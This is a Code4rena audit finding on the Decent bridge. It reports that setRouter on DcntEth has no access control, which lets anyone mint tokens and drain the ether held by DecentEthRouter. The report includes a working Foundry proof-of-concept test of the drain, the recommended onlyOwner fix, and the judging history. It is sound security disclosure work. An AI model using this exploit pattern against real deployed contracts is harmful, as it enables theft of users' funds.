Platform: Code4rena
Start Date: 19/01/2024
Pot Size: $36,500 USDC
Total HM: 9
Participants: 113
Period: 3 days
Judge: 0xsomeone
Id: 322
League: ETH
Rank: 95/113
Findings: 1
Award: $0.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: NPCsCorp
Also found by: 0x11singh99, 0xAadi, 0xBugSlayer, 0xE1, 0xPluto, 0xSimeon, 0xSmartContract, 0xabhay, 0xdice91, 0xprinc, Aamir, Aymen0909, CDSecurity, DadeKuma, DarkTower, EV_om, Eeyore, GeekyLumberjack, GhK3Ndf, Giorgio, Greed, Inference, JanuaryPersimmon2024, Kaysoft, Krace, Matue, MrPotatoMagic, NentoR, Nikki, PUSH0, Soliditors, Tendency, Tigerfrake, Timeless, Timenov, ZanyBonzy, ZdravkoHr, abiih, adeolu, al88nsk, azanux, bareli, boredpukar, cu5t0mpeo, d4r3d3v1l, darksnow, deth, dutra, ether_sky, haxatron, ke1caM, kodyvim, m4ttm, mgf15, mrudenko, nmirchev8, nobody2018, nuthan2x, peanuts, piyushshukla, ravikiranweb3, rouhsamad, seraviz, simplor, slylandro_star, stealth, th13vn, vnavascues, wangxx2026, zaevlad
0.1172 USDC - $0.12
Anyone can set router
address. This address is responsible for minting and burning Decent Eth
.
User can set his address as a router, mint enough Decent Eth
to withdraw all ether from DecentEthRouter
and use redeemEth
to get ether.
Add this file to test
folder:
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import {Test} from "forge-std/Test.sol"; import {console2} from "forge-std/console2.sol"; import {DcntEth} from "../lib/decent-bridge/src/DcntEth.sol"; import {DecentEthRouter} from "../lib/decent-bridge/src/DecentEthRouter.sol"; import {IWETH} from "../lib/decent-bridge/src/interfaces/IWETH.sol"; contract MockWETH9 { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; receive() external payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); } function withdraw(uint wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; payable(msg.sender).transfer(wad); emit Withdrawal(msg.sender, wad); } function totalSupply() public view returns (uint) { return address(this).balance; } function approve(address guy, uint wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom( address src, address dst, uint wad ) public returns (bool) { require(balanceOf[src] >= wad); if ( src != msg.sender && allowance[src][msg.sender] != type(uint256).max ) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } contract TestExploit is Test { DcntEth dcntEth; DecentEthRouter router; MockWETH9 weth; function setUp() public { dcntEth = new DcntEth(address(1)); weth = new MockWETH9(); router = new DecentEthRouter(payable(weth), true, address(1)); router.registerDcntEth(address(dcntEth)); dcntEth.setRouter(address(router)); } function testUserCanDrainRouter() public { address alice = address(23); address bob = address(45); vm.deal(alice, 100 ether); vm.deal(bob, 10 ether); vm.startPrank(alice); router.addLiquidityEth{value: 90 ether}(); vm.stopPrank(); vm.startPrank(bob); dcntEth.setRouter(bob); dcntEth.mint(bob, 90 ether); dcntEth.approve(address(router), 90 ether - 1); router.redeemEth(90 ether - 1); vm.stopPrank(); assert(weth.balanceOf(address(router)) == 1); assert(address(router).balance == 0); } }
Attacker can withdraw all of the ether and user is left with Decent Eth
which can't be converted back to eth or weth.
User can drain all of the funds from the contract.
Add onlyOwner
to setRouter
function.
Access Control
#0 - c4-pre-sort
2024-01-24T16:14:54Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-24T16:15:02Z
raymondfam marked the issue as duplicate of #14
#2 - c4-judge
2024-02-03T13:23:13Z
alex-ppg marked the issue as satisfactory